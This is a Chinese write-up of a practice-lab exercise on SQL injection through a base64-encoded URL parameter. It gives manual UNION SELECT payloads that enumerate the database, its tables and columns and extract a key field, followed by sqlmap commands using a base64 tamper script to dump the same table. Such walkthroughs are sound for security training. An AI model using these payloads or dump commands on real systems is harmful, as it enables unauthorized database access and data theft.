Background
网站维护人员在WEB目录中放了一个可能存在漏洞的页面。
安全工程师“墨者”负责对该页面进行安全测试,看是否存在安全漏洞影响网站及服务器的运行。
- 了解并熟练使用手工SQL注入;
 - 了解MySQL的相关知识;
 - 了解SQLMAP的使用及其tamper插件的使用;
 - 了解base64编码及解码。
 
判断注入点
打开页面链接
观察url
1  | http://219.153.49.228:43444/show.php?id=MQo=  | 
发现id的参数值MQo=是通过base64编码的1;
即,id参数发送给服务器的值是需要经过base64编码的
先对url进行简单的sql注入判断(base64编码)
1  | 1 and 1 = 1 MSBhbmQgMSA9IDE= 正常显示  | 
这样一来可以判断出该页面是存在sql注入的
我们可以通过手工注入,也可以通过工具自动化注入
手工注入
先判断select语句中的列字段个数
可以用ordre by语句
1  | 1 order by 1 MSBvcmRlciBieSAx 正常  | 
判断出select语句中的列字段数为2个
构造语句
1  | http://219.153.49.228:43444/show.php?id=0 union select 1,2 (以下是编码后的参数)  | 
“0”的作用是让前面报错,让后面联合查询的内容得以显示
接下来是查询数据库的相关信息(查询数据库名和版本信息)
1  | http://219.153.49.228:43444/show.php?id=0 union select database(),version()  | 

查询到数据库名是test
查询数据库表名
1  | http://219.153.49.228:43444/show.php?id=0 union select group_concat(table_name),null from information_schema.tables where table_schema ='test'  | 

查询出数据库表名data
查询test.data表中的列
1  | http://219.153.49.228:43444/show.php?id=0 union select group_concat(column_name),null from information_schema.columns where table_schema ='test' and table_name='data'  | 

查询到列名id,title,main,thekey
通过数据库表名查询字段内容
1  | http://219.153.49.228:43444/show.php?id=0 union select main,thekey from test.data  | 

sqlmap自动化注入
先简单测试
用tamper参数加载脚本 (脚本在sqlmap/tamper文件中)
1  | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch  | 

没有发现注入点,尝试提高扫描强度
1  | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2  | 

发现注入点了,就直接进行爆库
爆数据库名
1  | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 --dbs  | 
爆数据库表名
1  | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test --tables  | 
爆列名
1  | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test -T data --columns  | 
爆字段内容
1  | sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test -T data -C thekey --dump  | 
